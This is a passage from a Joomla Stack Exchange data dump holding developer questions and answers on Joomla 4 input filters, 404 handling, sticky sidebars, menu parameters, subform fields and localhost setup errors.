Tags="|joomla-4.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33214" PostTypeId="2" ParentId="33213" CreationDate="2023-07-22T14:18:17.237" Score="1" Body="&lt;p&gt;You need to specify the filter because otherwise default filter is applied. There are several ways to do it. First one is to pass the third argument to &lt;code&gt;getArray()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$post = $input-&amp;gt;post-&amp;gt;getArray([], null, 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This isn't recommended because &lt;code&gt;Joomla\CMS\Input\Input&lt;/code&gt; is deprecated and &lt;code&gt;getArray()&lt;/code&gt; method in replacement &lt;code&gt;Joomla\Input\Input&lt;/code&gt; class does not have a third argument.&lt;/p&gt;&#xA;&lt;p&gt;Another way is to specify data/filter pairs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$post = $input-&amp;gt;post-&amp;gt;getArray(['jform' =&amp;gt; 'ARRAY', 'task' =&amp;gt; 'CMD']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This method also allows defining nested fields/filters within data arrays:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$post = $input-&amp;gt;post-&amp;gt;getArray(['jform' =&amp;gt; ['title' =&amp;gt; 'STRING', 'articletext' =&amp;gt; 'RAW']]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you need just a single top level data array like &lt;code&gt;jform&lt;/code&gt;, simplest way is to use &lt;code&gt;get()&lt;/code&gt; method instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$post = $input-&amp;gt;post-&amp;gt;get('jform', [], 'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-22T14:18:17.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33215" PostTypeId="1" AcceptedAnswerId="33216" CreationDate="2023-07-22T17:15:44.573" Score="0" ViewCount="70" Body="&lt;p&gt;this is related to my previous question regarding [native J4 redirects][1]. I'm looking at a workaround but my previous question is still valid.&lt;/p&gt;&#xA;&lt;p&gt;I'm using [Jbusiness][2] and where previously we could redirect old business listings to new listings using ReDJ the native Redirect plugin only redirects if a 404 header is found. As my client adds the redirects when required and is not tech savvy .htaccess redirects are not really a long-term solution.&lt;/p&gt;&#xA;&lt;p&gt;When a listing is disabled, rather than show a 404 response header Jbusiness shows a 'Listing Disabled' page. I.E. [https://bit.ly/3q7KZSK][3] so redirects no longer work.&lt;/p&gt;&#xA;&lt;p&gt;I've created an override of the default_inactive.php from JBusiness:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    J-BusinessDirectory&#xA; *&#xA; * @author     CMSJunkie http://www.cmsjunkie.com/&#xA; * @copyright  Copyright (C) 2007 - 2022 CMSJunkie. All rights reserved.&#xA; * @license    https://www.gnu.org/licenses/agpl-3.0.en.html&#xA; */ &#xA;defined('_JEXEC') or die('Restricted access');&#xA;require_once 'header.php';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;item-inactive&amp;quot;&amp;gt;&#xA;    &amp;lt;img src=&amp;quot;&amp;lt;?php echo BD_PICTURES_PATH.'/item-disabled.svg' ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;title&amp;quot;&amp;gt;&amp;lt;?php echo isset($this-&amp;gt;company-&amp;gt;name) ? $this-&amp;gt;escape($this-&amp;gt;company-&amp;gt;name) : &amp;quot;&amp;quot; ; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php echo JText::_(&amp;quot;LNG_COMPANY_INACTIVE&amp;quot;)?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;a class=&amp;quot;btn btn-primary&amp;quot; href=&amp;quot;&amp;lt;?php echo JBusinessUtil::getWebsiteURL(true) ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;la la-arrow-left&amp;quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JText::_('LNG_GO_TO_HOMEPAGE'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then removed &lt;code&gt;require_once 'header.php';&lt;/code&gt; and replaced with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/*** Custom Error Page ***/&#xA;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') {&#xA;header(&amp;quot;HTTP/1.0 404 Not Found&amp;quot;);&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But receive a the error &lt;strong&gt;Call to a member function getCode() on null&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I'm sure you all know by now, I'm not a PHP person. I know after all these years I should really give myself a kick and get more involved with it.&lt;/p&gt;&#xA;&lt;p&gt;I've logged a support ticket with CMS Junkie as well, I do feel this page should throw a 404 to be honest.&lt;/p&gt;&#xA;&lt;p&gt;Kind Regards&#xA;D&#xA;[1]: &lt;a href=&quot;https://joomla.stackexchange.com/questions/33209/joomla-4-3-3-imported-redirects-not-working&quot;&gt;Joomla 4.3.3 Imported Redirects not working&lt;/a&gt;&#xA;[2]: &lt;a href=&quot;https://www.cmsjunkie.com/joomla_business&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cmsjunkie.com/joomla_business&lt;/a&gt;&#xA;[3]: &lt;a href=&quot;https://bit.ly/3q7KZSK&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bit.ly/3q7KZSK&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2023-07-24T06:54:36.407" Title="Force 404 error in J4 when php file called" Tags="|joomla-4.x|overrides|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33216" PostTypeId="2" ParentId="33215" CreationDate="2023-07-24T06:54:36.407" Score="1" Body="&lt;p&gt;You need to throw an exception with 404 error code. This should work provided the component does not catch it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;throw new Exception(JText::_('LNG_COMPANY_INACTIVE'), 404);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-24T06:54:36.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33217" PostTypeId="2" ParentId="33212" CreationDate="2023-07-24T07:44:44.447" Score="1" Body="&lt;p&gt;The slash is added by System - SEF plugin. It works by parsing the generated HTML markup and prepending Joomla root directory (or a slash if Joomla is not in a directory) in certain places like &lt;code&gt;src&lt;/code&gt; and &lt;code&gt;href&lt;/code&gt; attributes. It's possible that some valid cases are not yet covered by the plugin. These should be reported to developers.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-24T07:44:44.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33218" PostTypeId="1" AcceptedAnswerId="33222" CreationDate="2023-07-24T12:13:36.890" Score="1" ViewCount="311" Body="&lt;p&gt;I would like to create a sticky sidebar in Joomla 4. In other words, I would like to display a module next to an article in one of the sidebar positions. When the article scrolls up, the module must stop scrolling when it reaches the top of the page so that it remains visible no matter how far the article is scrolled.&lt;/p&gt;&#xA;&lt;p&gt;I have tried using the CSS &lt;code&gt;position: sticky&lt;/code&gt; property, but I can't get it to work.&lt;/p&gt;&#xA;&lt;p&gt;I would be grateful for any help or pointers to an explanation of how to do this.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-07-25T20:46:34.507" Title="How do I create a sticky sidebar in Joomla 4?" Tags="|joomla-4.x|css|sidebar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33219" PostTypeId="2" ParentId="33211" CreationDate="2023-07-24T20:25:12.997" Score="1" Body="&lt;p&gt;I presume you're wanting to show the summaries, even though the website visitor isn't logged on. But when they click on a link to the article associated with a summary then they don't see it if they haven't logged on.&lt;/p&gt;&#xA;&lt;p&gt;If that's what you're looking to do then you could create a Content custom field (eg of type editor field), and use that to hold the summary associated with each article.&lt;/p&gt;&#xA;&lt;p&gt;Then you could write a module which queried the database and output the summaries together with links to the associated articles. You'd have to do the query yourself, joining across the &lt;code&gt;content&lt;/code&gt;, &lt;code&gt;fields&lt;/code&gt; and &lt;code&gt;fields_values&lt;/code&gt; tables, but that's straightforward.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure how comfortable you are with creating joomla modules, but if you search online for &amp;quot;joomla module development&amp;quot; you'll find good tutorials, including at &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt; a sample module which queries the database. A Joomla 3 module should work ok under Joomla 4. And you can always post a comment or raise another question on this forum if you get stuck.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-24T20:25:12.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33220" PostTypeId="2" ParentId="33208" CreationDate="2023-07-24T22:05:42.607" Score="0" Body="&lt;p&gt;Joomla seems to work with the date/time format defined in &lt;a href=&quot;https://www.php.net/manual/en/function.strftime.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;strftime&lt;/a&gt; rather than &lt;a href=&quot;https://www.php.net/manual/en/datetime.format.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Datetime format&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But even with that there is something odd about the %g and %G parameters. It's as if there's some javascript that is changing the 2 or 4 digit representation of the year back to %g or %G ... Use %y or %Y for the year instead.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2023-07-25T07:41:25.917" LastActivityDate="2023-07-25T07:41:25.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33221" PostTypeId="2" ParentId="33155" CreationDate="2023-07-25T08:59:46.797" Score="0" Body="&lt;p&gt;You can define classes on &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; elements in your XML but that's about it. The rest is part of the layout and can't be altered by form definition. You can use layout overrides to change the output completely. Since 4.0 there is &lt;code&gt;onBeforeDisplay&lt;/code&gt; event which exposes the view to plugins. This way you can use &lt;code&gt;Joomla\CMS\MVC\View\HtmlView::addTemplatePath()&lt;/code&gt; to add a custom layout path, i.e. for loading the layout from your plugin directory. The disadvantage of this is that you have to maintain the entire view layout (&lt;code&gt;edit.php&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeDisplay(Joomla\CMS\Event\View\DisplayEvent $event)&#xA;{&#xA;    // Check that it's the plugin view.&#xA;    if ($event-&amp;gt;getArgument('extension') !== 'com_plugins.plugin')&#xA;    {&#xA;        return;&#xA;    }&#xA;    &#xA;    // Get the view.&#xA;    $view = $event-&amp;gt;getArgument('subject');&#xA;&#xA;    // Check that it's a HTML view&#xA;    if (!$view instanceof Joomla\CMS\MVC\View\HtmlView)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    // Get the form.&#xA;    $form = $view-&amp;gt;getForm();&#xA;&#xA;    // Check that we have a valid form.&#xA;    if (!$form instanceof Joomla\CMS\Form\Form)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    // Check that our plugin is being edited.&#xA;    if ($form-&amp;gt;getValue('element') !== 'example' || $form-&amp;gt;getValue('folder') !== 'content')&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    // Add layout lookup path.&#xA;    $view-&amp;gt;addTemplatePath(JPATH_PLUGINS . '/content/example/tmpl');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-25T08:59:46.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33222" PostTypeId="2" ParentId="33218" CreationDate="2023-07-25T20:46:34.507" Score="1" Body="&lt;p&gt;You should be able to get this to work ok.&lt;/p&gt;&#xA;&lt;p&gt;When you edit the module, within the Advanced tab set a module class eg&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Module Class   my-sticky-module&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When this module is displayed it should then have &amp;quot;my-sticky-class&amp;quot; within the list of class attributes.&lt;/p&gt;&#xA;&lt;p&gt;The in your user.css file define:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.my-sticky-module {&#xA;    top: 0;&#xA;    position:sticky;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You need to define the &amp;quot;top&amp;quot; as the stickiness can relate to either vertical or horizontal scrolling.&lt;/p&gt;&#xA;&lt;p&gt;The user.css file should be in the css folder of your site template under the joomla media folder. So if you're using cassiopeia it should be in media/templates/site/cassiopeia/css/user.css.&lt;/p&gt;&#xA;&lt;p&gt;You don't want to have any other modules under it in the sidebar though, as they'll scroll up to overwrite it.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-25T20:46:34.507" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33223" PostTypeId="1" CreationDate="2023-07-26T11:53:05.723" Score="0" ViewCount="30" Body="&lt;p&gt;I thought I'd found an alternative to a problem, but I've just realized that I can't retrieve all the checkbox values.&#xA;DEBUG&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(1) {&#xA;  [&amp;quot;row0&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;field110&amp;quot;]=&amp;gt;&#xA;    string(3) &amp;quot;119&amp;quot;&#xA;    [&amp;quot;field112&amp;quot;]=&amp;gt;&#xA;    array(2) {&#xA;      [0]=&amp;gt;&#xA;      string(12) &amp;quot;réalisation&amp;quot;&#xA;      [1]=&amp;gt;&#xA;      string(16) &amp;quot;édition DVD ...&amp;quot;&#xA;    }&#xA;  }&#xA;}&#xA;string(12) &amp;quot;réalisation&amp;quot;&#xA;Kamea Meah( réalisation )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can retrieve the 1st value out of 4, but not the 2nd.&#xA;See the current code, which should work in php &amp;gt; 8.2&lt;/p&gt;&#xA;&lt;p&gt;CODE&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ('films-pros' === $field-&amp;gt;name &amp;amp;&amp;amp; 'subform' === $field-&amp;gt;type) { &#xA;        echo &amp;quot;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class='fa fa-link fa-1x' aria-hidden='true'&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt; Pro(s) en lien avec ce film : &amp;lt;/b&amp;gt;&amp;quot;; &#xA;        $field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[111]-&amp;gt;rawvalue, true);&#xA;        echo '&amp;lt;pre&amp;gt;', var_dump($field_value), '&amp;lt;/pre&amp;gt;'; // ok   &#xA;        $app = Factory::getApplication();&#xA;        $factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();    &#xA;        $table = $factory-&amp;gt;createTable('Article', 'Table');         &#xA; &#xA;        foreach ($field-&amp;gt;subform_rows as $subform_row) {&#xA;            foreach ($subform_row as $subField) {    &#xA;                if ('film-pro-lie' === $subField-&amp;gt;fieldname) &#xA;            {&#xA;                        $titre_art = $subField-&amp;gt;value;&#xA;                $article_id = $field_value['row0']['field110']; &#xA;                $table-&amp;gt;load($article_id); /* obligé de mettre ces 2 lignes ici */  &#xA;                $item_catid = $table-&amp;gt;catid;&#xA;                //echo '&amp;lt;pre&amp;gt;', var_dump($article_id), '&amp;lt;/pre&amp;gt;';$field_value['row0']['field112']; Nu ide&#xA; &#xA;                $film_type_pro = $field_value['row0']['field112'][0];               &#xA;                echo '&amp;lt;pre&amp;gt;', var_dump($film_type_pro), '&amp;lt;/pre&amp;gt;';                       &#xA;                        echo HTMLHelper::link(&#xA;                        Route::link(&amp;quot;site&amp;quot;, &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id={$article_id}&amp;amp;catid={$item_catid}&amp;quot;),&#xA;                        $titre_art  .&amp;quot;( &amp;quot; .$film_type_pro .&amp;quot; )&amp;quot;);                   &#xA; &#xA;                }&#xA; &#xA;            }&#xA; &#xA; &#xA; &#xA; &#xA;        }&#xA; &#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14630" LastActivityDate="2023-07-26T11:53:05.723" Title="retrieve all values in a loop" Tags="|custom-field|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33224" PostTypeId="1" AcceptedAnswerId="33225" CreationDate="2023-07-26T19:30:07.993" Score="1" ViewCount="768" Body="&lt;p&gt;Updating a demobar component from J3 and the view will not get my demo items for the dropdown from my model.  Hoping someone could help me with getting the proper parameters for the menu.&#xA;I am getting the error at loadString.&lt;/p&gt;&#xA;&lt;p&gt;UPDATE: $menu-&amp;gt;getParams() takes away the error but the demo list is still not filling.  Maybe it is somewhere else in my model so maybe someone will see what I don't.  Posting the full model.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;use Joomla\CMS\MVC\Model\ListModel;&#xA;&#xA;class DlejdemoBarModelDlejdemoBar extends ListModel {&#xA;&#xA;    /**&#xA;     * Constructor.&#xA;     *&#xA;     * @param   array   An optional associative array of configuration settings.&#xA;     * @see     JControllerLegacy&#xA;     */&#xA;    public function __construct($config = array()) {&#xA;        if (empty($config['filter_fields'])) {&#xA;            $config['filter_fields'] = array(&#xA;                'id', 'a.id',&#xA;                'title', 'a.title',&#xA;                'alias', 'a.alias',&#xA;                'checked_out', 'a.checked_out',&#xA;                'checked_out_time', 'a.checked_out_time',&#xA;                'cat_id', 'a.cat_id', 'category_title',&#xA;                'state', 'a.state',&#xA;                'access', 'a.access', 'access_level',&#xA;                'ordering', 'a.ordering',&#xA;                'language', 'a.language',&#xA;            );&#xA;        }&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to auto-populate the model state.&#xA;     *&#xA;     * Note. Calling getState in this method will result in recursion.&#xA;     */&#xA;    protected function populateState($ordering = null, $direction = null) {&#xA;        $app = Factory::getApplication('site');&#xA;        $params = $app-&amp;gt;getParams();&#xA;        $menuParams = new Registry();&#xA;&#xA;        if ($menu = $app-&amp;gt;getMenu()-&amp;gt;getActive()) {&#xA;            $menuParams-&amp;gt;loadString($menu-&amp;gt;getParams());&#xA;        }&#xA;&#xA;        $mergedParams = clone $menuParams;&#xA;        $mergedParams-&amp;gt;merge($params);&#xA;&#xA;        $this-&amp;gt;setState('params', $mergedParams);&#xA;&#xA;        // process show_noauth parameter&#xA;        if (!$params-&amp;gt;get('show_noauth')) {&#xA;            $this-&amp;gt;setState('filter.access', true);&#xA;        } else {&#xA;            $this-&amp;gt;setState('filter.access', false);&#xA;        }&#xA;&#xA;        $this-&amp;gt;setState('filter.language', JLanguageMultilang::isEnabled());&#xA;&#xA;        $this-&amp;gt;setState('layout', $app-&amp;gt;input-&amp;gt;get('layout'));&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get a store id based on model configuration state.&#xA;     *&#xA;     * This is necessary because the model is used by the component and different modules&#xA;     * that might need different sets of data or different ordering requirements.&#xA;     *&#xA;     * @param   string  $id A prefix for the store id.&#xA;     * @return  string  A store id.&#xA;     */&#xA;    protected function getStoreId($id = '') {&#xA;        // compile the store id.&#xA;        $id .= ':' . $this-&amp;gt;getState('list.filter');&#xA;        $id .= ':' . $this-&amp;gt;getState('filter.access');&#xA;        $id .= ':' . $this-&amp;gt;getState('filter.state');&#xA;        $id .= ':' . $this-&amp;gt;getState('filter.language');&#xA;&#xA;        return parent::getStoreId($id);&#xA;    }&#xA;&#xA;    /**&#xA;     * Build an SQL query to load the list data.&#xA;     *&#xA;     * @return  JDatabaseQuery&#xA;     */&#xA;    protected function getListQuery() {&#xA;        // Create a new query object.&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the table.&#xA;        $query-&amp;gt;select(&#xA;            $this-&amp;gt;getState(&#xA;                'list.select',&#xA;                'a.id, a.cat_id,&#xA;                a.state, a.access, a.ordering,&#xA;                a.language,&#xA;                a.title, a.alias, a.image, a.url, a.purchase_url, a.responsive, a.price, a.description'&#xA;            )&#xA;        );&#xA;&#xA;        $query-&amp;gt;from('#__dlejdemobar_products AS a');&#xA;&#xA;        // Join over the Categories.&#xA;        $query-&amp;gt;select('c.title AS category, c.code AS category_code');&#xA;        $query-&amp;gt;join('LEFT', '#__dlejdemobar_categories AS c ON c.id = a.cat_id');&#xA;&#xA;        // Filter by access level.&#xA;        if ($access = $this-&amp;gt;getState('filter.access')) {&#xA;            $user = Factory::getUser();&#xA;            $groups = implode(', ', $user-&amp;gt;getAuthorisedViewLevels());&#xA;            $query-&amp;gt;where('a.access IN (' . $groups . ')');&#xA;            $query-&amp;gt;where('c.access IN (' . $groups . ')');&#xA;        }&#xA;&#xA;        // Filter by published state&#xA;        $published = $this-&amp;gt;getState('filter.state', 1);&#xA;&#xA;        if (is_numeric($published)) {&#xA;            $query-&amp;gt;where('a.state = ' . $published);&#xA;        } else if (is_array($published)) {&#xA;            ArrayHelper::toInteger($published);&#xA;            $published = implode(', ', $published);&#xA;            $query-&amp;gt;where('a.state IN (' . $published . ')');&#xA;        }&#xA;&#xA;        // Filter on the language.&#xA;        if ($language = $this-&amp;gt;getState('filter.language')) {&#xA;            $query-&amp;gt;where('a.language in (' . $db-&amp;gt;quote(Factory::getLanguage()-&amp;gt;getTag()) . ',' . $db-&amp;gt;quote('*') . ')');&#xA;        }&#xA;&#xA;        // Add the list ordering clause.&#xA;        $query-&amp;gt;order($this-&amp;gt;getState('list.ordering', 'c.ordering, a.ordering'));&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="15320" LastEditorUserId="12652" LastEditDate="2023-07-27T04:59:24.100" LastActivityDate="2023-07-27T04:59:24.100" Title="Cannot access protected property Joomla\CMS\Menu\MenuItem::$params" Tags="|joomla-4.x|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33225" PostTypeId="2" ParentId="33224" CreationDate="2023-07-26T21:49:04.377" Score="2" Body="&lt;p&gt;The &lt;code&gt;$params&lt;/code&gt; instance variable of the MenuItem class is protected, so if you try and access it via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu-&amp;gt;params&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you will get a PHP exception - cannot access protected property.&lt;/p&gt;&#xA;&lt;p&gt;Use instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu-&amp;gt;getParams()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-26T21:49:04.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33226" PostTypeId="1" CreationDate="2023-07-27T10:39:02.557" Score="0" ViewCount="20" Body="&lt;p&gt;I found that using built-in in Joomla 3.10 &lt;strong&gt;content vote plugin&lt;/strong&gt; is causing some errors on Google Search Console - itemReviewed.&#xA;I turned this plugin off - it helped, no errors.&#xA;I installed JVE free version ( Joomla Vote Extended ) ... the problem is back again.&lt;/p&gt;&#xA;&lt;p&gt;Do You know any solution for this ? Is paid version working properly ? - I can not ask JVE developer (Viktor Vogel) about this problem because there is no email contact for users of free version :( ... only PRO version can contact.&lt;/p&gt;&#xA;&lt;p&gt;Do You know any other easy free plugin that works properly with Google Search schema ?&lt;/p&gt;&#xA;" OwnerUserId="16982" LastActivityDate="2023-07-27T10:39:02.557" Title="Joomla Vote causing an error in Google Search Console : itemReviewed" Tags="|joomla-3.x|plugin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33227" PostTypeId="1" CreationDate="2023-07-28T06:51:19.123" Score="0" ViewCount="97" Body="&lt;p&gt;I'm ready to give up. I've spent the entire week trying to get a Joomla site to run on localhost. I can get to phpmyadmin. Please help me.&lt;/p&gt;&#xA;&lt;p&gt;If I change $database to none, I receive this error:&#xA;Error: Failed to start application: Could not connect to MySQL server.&lt;/p&gt;&#xA;&lt;p&gt;What I've tried:&#xA;Removed .htaccess&#xA;Changed url to 127.0.0.1&#xA;Reinstalled joomla&#xA;Checked  permissions in phmyadmin and win 11&#xA;I'm running wamp  as administrator&lt;/p&gt;&#xA;&lt;p&gt;Details:&#xA;Joomla 3.9.19&#xA;PHP  7.2.34&#xA;Wamp, Win 11&lt;/p&gt;&#xA;&lt;p&gt;Configuration.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'http://localhost/';&#xA;public $user = 'root';&#xA;public $password = '';&#xA;public $db = 'com_pathwayplanner';&#xA;public $dbprefix = 'b9iu2_';&#xA;public $live_site = '';&#xA;public $session_handler = 'database';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17221" LastEditorUserId="12652" LastEditDate="2023-07-28T07:11:07.917" LastActivityDate="2023-07-28T07:11:07.917" Title="Warning: session_start(): Failed to read session data" Tags="|localhost|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33228" PostTypeId="1" CreationDate="2023-07-28T07:05:06.013" Score="0" ViewCount="22" Body="&lt;p&gt;I need your help. Is there any way to code a function for a joomla website that has email sending option, that the emails will have sensitivity labels in outlook? The sensitivity labels are already defined by the company.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DXJly.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DXJly.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17222" LastActivityDate="2023-12-25T19:05:55.687" Title="Mail from a joomla website with own sensitivity label in outlook" Tags="|joomla-3.4|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33230" PostTypeId="1" CreationDate="2023-07-28T13:31:42.247" Score="0" ViewCount="48" Body="&lt;p&gt;My new component will have an Import View in the backend where the users are able to import db stuff.&#xA;Because there are multiple types like teams, players, locations, referees, ... the imports are templates for each &amp;quot;type&amp;quot; (? idk how to call them). On the list view of each &amp;quot;type&amp;quot; there will be an import button that loads the import layout. so far so good but the problem is that joomla collapses the main menu when a view is opened that has no menu item &amp;gt; i don't want to have all those import menu items in my components menu.&lt;/p&gt;&#xA;&lt;p&gt;So how can i define which menu item should be expanded / selected?&#xA;Best option would be when the current &amp;quot;default&amp;quot; view would be selected so, when clicking on import on the teams view the teams menu item should stay selected... Alternative just the components menu should be expanded.&lt;/p&gt;&#xA;&lt;p&gt;git repo for context: &lt;a href=&quot;https://github.com/marcorensch/com_footballmanager_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/com_footballmanager_2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What 've tried so far:&#xA;In my HtmlView I've added:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu = Factory::getApplication()-&amp;gt;getMenu();&#xA;$items = $menu-&amp;gt;getItems('component', 'com_footballmanager');&#xA;// $items is empty&#xA;&#xA;// Alternative (from chatGPT was something like this:&#xA;$app = Factory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$itemId = $menu-&amp;gt;getItems('component', 'com_footballmanager', true)-&amp;gt;id;&#xA;$app-&amp;gt;setUserState('com_menus.edit.item.id', $itemId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tbh I know that this, especially the chatGPT hint, is some nonsense but the &amp;quot;setUserState&amp;quot; made some sense to me and i think this might be the solution?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-28T13:31:42.247" Title="Joomla 4 Backend select menu item that &quot;should&quot; be active" Tags="|joomla-4.x|menu|submenu|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33231" PostTypeId="2" ParentId="33228" CreationDate="2023-07-28T16:32:21.357" Score="0" Body="&lt;p&gt;Look at the POP3 protocol but I seem it is managed by Outlook, not by the protocol. Look at the RFC here : &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1939&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://datatracker.ietf.org/doc/html/rfc1939&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-07-28T16:32:21.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
